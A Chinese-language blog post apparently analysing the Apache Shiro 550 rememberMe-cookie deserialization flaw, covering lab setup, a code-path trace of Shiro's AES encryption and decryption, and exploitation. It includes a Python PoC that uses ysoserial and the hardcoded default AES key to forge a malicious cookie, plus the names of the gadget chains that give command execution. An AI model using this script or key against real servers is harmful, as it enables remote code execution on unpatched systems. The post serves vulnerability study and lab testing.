Java安全之Shiro 550反序列化漏洞分析

0x00 前言

在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影，也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550 反序列化漏洞进行一个分析，了解漏洞产生过程以及利用方式。

0x01 漏洞原理

Shiro 550 反序列化漏洞存在版本：shiro <1.2.4，产生原因是因为shiro接受了Cookie里面rememberMe的值，然后去进行Base64解密后，再使用aes密钥解密后的数据，进行反序列化。

反过来思考一下，如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密，那么这时候就会去进行反序列化我们的payload内容，这时候就可以达到一个命令执行的效果。

获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

0x02 漏洞环境搭建

漏洞环境：https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

打开shiro/web目录，对pom.xml进行配置依赖配置一个cc4和jstl组件进来，后面再去说为什么shiro自带了commons-collections:3.2.1还要去手工配置一个commons-collections:4.0。

    <properties>

    <maven.compiler.source>1.6</maven.compiler.source>

    <maven.compiler.target>1.6</maven.compiler.target>

    </properties>

...

<dependency>

            <groupId>javax.servlet</groupId>

            <artifactId>jstl</artifactId>

            <!--  这里需要将jstl设置为1.2 -->

            <version>1.2</version>

            <scope>runtime</scope>

        </dependency>

        <dependency>

            <groupId>org.apache.commons</groupId>

            <artifactId>commons-collections4</artifactId>

            <version>4.0</version>

        </dependency>

坑点

Shiro的编译太痛苦了，各种坑，下面来排一下坑。

配置maven\conf\toolchains.xml，这里需要指定JDK1.6的路径和版本，编译必须要1.6版本，但不影响在其他版本下运行。

<?xml version="1.0" encoding="UTF-8"?>

<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">

  <toolchain>

    <type>jdk</type>

    <provides>

      <version>1.6</version>

      <vendor>sun</vendor>

    </provides>

    <configuration>

      <jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>

    </configuration>

  </toolchain>

</toolchains>

这些都完成后进行编译。

Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure

这里还是报错了。

后面编译的时候，切换成了maven3.1.1的版本。然后就可以编译成功了。

但是后面又发现部署的时候访问不到，编译肯定又出了问题。

后面把这两个里面的<scope>标签给注释掉，然后就可以了。

把pom.xml配置贴一下。

<?xml version="1.0" encoding="UTF-8"?>

<!--

  ~ Licensed to the Apache Software Foundation (ASF) under one

  ~ or more contributor license agreements.  See the NOTICE file

  ~ distributed with this work for additional information

  ~ regarding copyright ownership.  The ASF licenses this file

  ~ to you under the Apache License, Version 2.0 (the

  ~ "License"); you may not use this file except in compliance

  ~ with the License.  You may obtain a copy of the License at

  ~

  ~     http://www.apache.org/licenses/LICENSE-2.0

  ~

  ~ Unless required by applicable law or agreed to in writing,

  ~ software distributed under the License is distributed on an

  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY

  ~ KIND, either express or implied.  See the License for the

  ~ specific language governing permissions and limitations

  ~ under the License.

  -->

<!--suppress osmorcNonOsgiMavenDependency -->

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <properties>

        <maven.compiler.source>1.6</maven.compiler.source>

        <maven.compiler.target>1.6</maven.compiler.target>

    </properties>

    <parent>

        <groupId>org.apache.shiro.samples</groupId>

        <artifactId>shiro-samples</artifactId>

        <version>1.2.4</version>

        <relativePath>../pom.xml</relativePath>

    </parent>

    <modelVersion>4.0.0</modelVersion>

    <artifactId>samples-web</artifactId>

    <name>Apache Shiro :: Samples :: Web</name>

    <packaging>war</packaging>

    <build>

        <plugins>

            <plugin>

                <artifactId>maven-surefire-plugin</artifactId>

                <configuration>

                    <forkMode>never</forkMode>

                </configuration>

            </plugin>

            <plugin>

                <groupId>org.mortbay.jetty</groupId>

                <artifactId>maven-jetty-plugin</artifactId>

                <version>${jetty.version}</version>

                <configuration>

                    <contextPath>/</contextPath>

                    <connectors>

                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">

                            <port>9080</port>

                            <maxIdleTime>60000</maxIdleTime>

                        </connector>

                    </connectors>

                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">

                        <filename>./target/yyyy_mm_dd.request.log</filename>

                        <retainDays>90</retainDays>

                        <append>true</append>

                        <extended>false</extended>

                        <logTimeZone>GMT</logTimeZone>

                    </requestLog>

                </configuration>

            </plugin>

        </plugins>

    </build>

    <dependencies>

        <dependency>

            <groupId>javax.servlet</groupId>

            <artifactId>jstl</artifactId>

            <scope>runtime</scope>

        </dependency>

        <dependency>

            <groupId>javax.servlet</groupId>

            <artifactId>servlet-api</artifactId>

<!--            <scope>provided</scope>-->

        </dependency>

        <dependency>

            <groupId>org.slf4j</groupId>

            <artifactId>slf4j-log4j12</artifactId>

            <scope>runtime</scope>

        </dependency>

        <dependency>

            <groupId>log4j</groupId>

            <artifactId>log4j</artifactId>

            <scope>runtime</scope>

        </dependency>

        <dependency>

            <groupId>net.sourceforge.htmlunit</groupId>

            <artifactId>htmlunit</artifactId>

            <version>2.6</version>

<!--            <scope>test</scope>-->

        </dependency>

        <dependency>

            <groupId>org.apache.shiro</groupId>

            <artifactId>shiro-core</artifactId>

        </dependency>

        <dependency>

            <groupId>org.apache.shiro</groupId>

            <artifactId>shiro-web</artifactId>

        </dependency>

        <dependency>

            <groupId>org.mortbay.jetty</groupId>

            <artifactId>jetty</artifactId>

            <version>${jetty.version}</version>

            <scope>test</scope>

        </dependency>

        <dependency>

            <groupId>org.mortbay.jetty</groupId>

            <artifactId>jsp-2.1-jetty</artifactId>

            <version>${jetty.version}</version>

            <scope>test</scope>

        </dependency>

        <dependency>

            <groupId>org.slf4j</groupId>

            <artifactId>jcl-over-slf4j</artifactId>

            <scope>runtime</scope>

        </dependency>

        <dependency>

            <groupId>javax.servlet</groupId>

            <artifactId>jstl</artifactId>

            <!--  这里需要将jstl设置为1.2 -->

            <version>1.2</version>

            <scope>runtime</scope>

        </dependency>

        <dependency>

            <groupId>org.apache.commons</groupId>

            <artifactId>commons-collections4</artifactId>

            <version>4.0</version>

        </dependency>

    </dependencies>

</project>

经过2天的排坑，终于把这个坑给解决掉，这里必须贴几张照片庆祝庆祝。

输入账号密码，勾选Remerber me选项。进行抓包

下面就可以来分析该漏洞了。

0x03 漏洞分析

加密

漏洞产生点在CookieRememberMeManager该位置，来看到rememberSerializedIdentity方法。

该方法的作用为使用Base64对指定的序列化字节数组进行编码，并将Base64编码的字符串设置为cookie值。

那么我们就去查看一下该方法在什么地方被调用。

在这可以看到该类继承的AbstractRememberMeManager类调用了该方法。跟进进去查看

发现这个方法被rememberIdentity方法给调用了，同样方式继续跟进。

在这里会发现rememberIdentity方法会被onSuccessfulLogin方法给调用，跟踪到这一步，就看到了onSuccessfulLogin登录成功的方法。

当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法，该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了。可以来看一下这段代码。

回到onSuccessfulLogin这个地方，打个断点，然后web登录页面输入root/secret 口令进行提交，再回到IDEA中查看。找到登录成功方法后，我们可以来正向去做个分析，不然刚刚的方式比较麻烦。

这里看到调用了isRememberMe很显而易见得发现这个就是一个判断用户是否选择了Remember Me选项。

如果选择Remember Me功能的话返回true，如果不选择该选项则是调用log.debug方法在控制台输出一段字符。

这里如果为true的话就会调用rememberIdentity方法并且传入三个参数。F7跟进该方法。

前面说过该方法会去生成一个PrincipalCollection对象，里面包含登录信息。F7进行跟进rememberIdentity方法。

查看convertPrincipalsToBytes具体的实现与作用。

跟进该方法查看具体实现。

看到这里其实已经很清晰了，进行了一个序列化，然后返回序列化后的Byte数组。

再来看到下一段代码，这里如果getCipherService方法不为空的话，就会去执行下一段代码。getCipherService方法是获取加密模式。

还是继续跟进查看。

查看调用，会发现在构造方法里面对该值进行定义。

完成这一步后，就来到了这里。

调用encrypt方法，对序列化后的数据进行处理。继续跟进。

这里调用cipherService.encrypt方法并且传入序列化数据，和getEncryptionCipherKey方法。

getEncryptionCipherKey从名字上来看是获取密钥的方法，查看一下，是怎么获取密钥的。

查看调用的时候，发现setCipherKey方法在构造方法里面被调用了。

查看DEFAULT_CIPHER_KEY_BYTES值会发现里面定义了一串密钥

而这个密钥是定义死的。

返回刚刚的加密的地方。

这个地方选择跟进，查看具体实现。

查看到这里发现会传入前面序列化的数组和key值，最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。

iv的值由generateInitializationVector方法生成，进行跟进。

查看getDefaultSecureRandom方法实现。

返回generateInitializationVector方法继续查看。这个new了一个byte数组长度为16

最后得到这个ivBytes值进行返回。

这里执行完成后就拿到了ivBytes的值了，这里再回到加密方法的地方查看具体加密的实现。

这里调用crypt方法进行获取到加密后的数据，而这个output是一个byte数组，大小是加密后数据的长度加上iv这个值的长度。

iv 的小tips

某些加密算法要求明文需要按一定长度对齐，叫做块大小(BlockSize)，我们这次就是16字节，那么对于一段任意的数据，加密前需要对最后一个块填充到16 字节，解密后需要删除掉填充的数据。
AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式，PKCS7Padding是缺几个字节就补几个字节的0，而PKCS5Padding是缺几个字节就补充几个字节的几，好比缺6个字节，就补充6个字节

不了解加密算法的可以看Java安全之安全加密算法

在执行完成后序列化的数据已经被进行了AES加密，返回一个byte数组。

执行完成后，来到这一步，然后进行跟进。

到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。

解密

由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候，调用了AbstractRememberMeManager.encrypt进行加密，该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到，就可以追溯到上层去，然后进行下断点。

查看 getRememberedPrincipals方法在此处下断点

跟踪

返回getRememberedPrincipals方法。

在下面调用了convertBytesToPrincipals方法，进行跟踪。

查看decrypt方法具体实现。

和前面的加密步骤类似，这里不做详细讲解。

生成iv值，然后传入到他的重载方法里面。

到了这里执行完后，就进行了AES的解密完成。

还是回到这一步。

这里返回了deserialize方法的返回值，并且传入AES加密后的数据。

进行跟踪该方法。

继续跟踪。

到了这步，就会对我们传入进来的AES解密后的数据进行调用readObject方法进行反序列化操作。

0x04 漏洞攻击

漏洞探测

现在已经知道了是因为获取rememberMe值，然后进行解密后再进行反序列化操作。

那么在这里如果拿到了密钥就可以伪造加密流程。

网上找的一个加密的脚本

# －*-* coding:utf-8

# @Time    :  2020/10/16 17:36

# @Author  : nice0e3

# @FileName: poc.py

# @Software: PyCharm

# @Blog    ：https://www.cnblogs.com/nice0e3/

import base64

import uuid

import subprocess

from Crypto.Cipher import AES

def rememberme(command):

    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],

                             stdout=subprocess.PIPE)

    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key = "kPH+bIxk5D2deZiIxcaaaA=="

    mode = AES.MODE_CBC

    iv = uuid.uuid4().bytes

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    file_body = pad(popen.stdout.read())

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_ciphertext

if __name__ == '__main__':

    # payload = encode_rememberme('127.0.0.1:12345')

    # payload = rememberme('calc.exe')

    payload = rememberme('http://u89cy6.dnslog.cn')

    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))

        res = "rememberMe={}".format(payload.decode())

        fpw.write(res)

获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。

发送完成后，就可以看到DNSLOG平台上面回显了。

当使用URLDNS链的打过去，在DNSLOG平台有回显的时候，就说明这个地方存在反序列化漏洞。

但是要利用的话还得是使用CC链等利用链去进行命令的执行。

漏洞利用

前面我们手动给shio配上cc4的组件，而shiro中自带的是cc3.2.1版本的组件，为什么要手工去配置呢？

其实shiro中重写了ObjectInputStream类的resolveClass函数，ObjectInputStream的resolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass方法，采用的是ClassUtils.forName。查看该方法

public static Class forName(String fqcn) throws UnknownClassException {

    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);

    if (clazz == null) {

        if (log.isTraceEnabled()) {

            log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");

        }

        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);

    }

    if (clazz == null) {

        if (log.isTraceEnabled()) {

            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");

        }

        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);

    }

    if (clazz == null) {

        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";

        throw new UnknownClassException(msg);

    } else {

        return clazz;

    }

}

在传参的地方如果传入一个Transform数组的参数，会报错。

后者并不支持传入数组类型。

resovleClass使用的是ClassLoader.loadClass()而非Class.forName()，而ClassLoader.loadClass不支持装载数组类型的class

那么在这里可以使用cc2和cc4的利用链去进行命令执行，因为这两个都是基于javassist去实现的，而不是基于Transform数组。具体的可以看前面我的分析利用链文章。

除了这两个其实在部署的时候，可以发现组件当中自带了一个CommonsBeanutils的组件，这个组件也是有利用链的。可以使用CommonsBeanutils这条利用链进行命令执行。

那么除了这些方式就没有了嘛？假设没有cc4的组件，就一定执行不了命令了嘛？其实方式还是有的。wh1t3p1g师傅在文章中已经给出了解决方案。需要重新去特殊构造一下利用链。

参考文章

https://www.anquanke.com/post/id/192619#h2-4

https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils

https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A

0x05 结尾

在该漏洞中我觉得主要的难点在于环境搭建上费了不少时间，还有的就是关于shiro中大部分利用链没法使用的解决。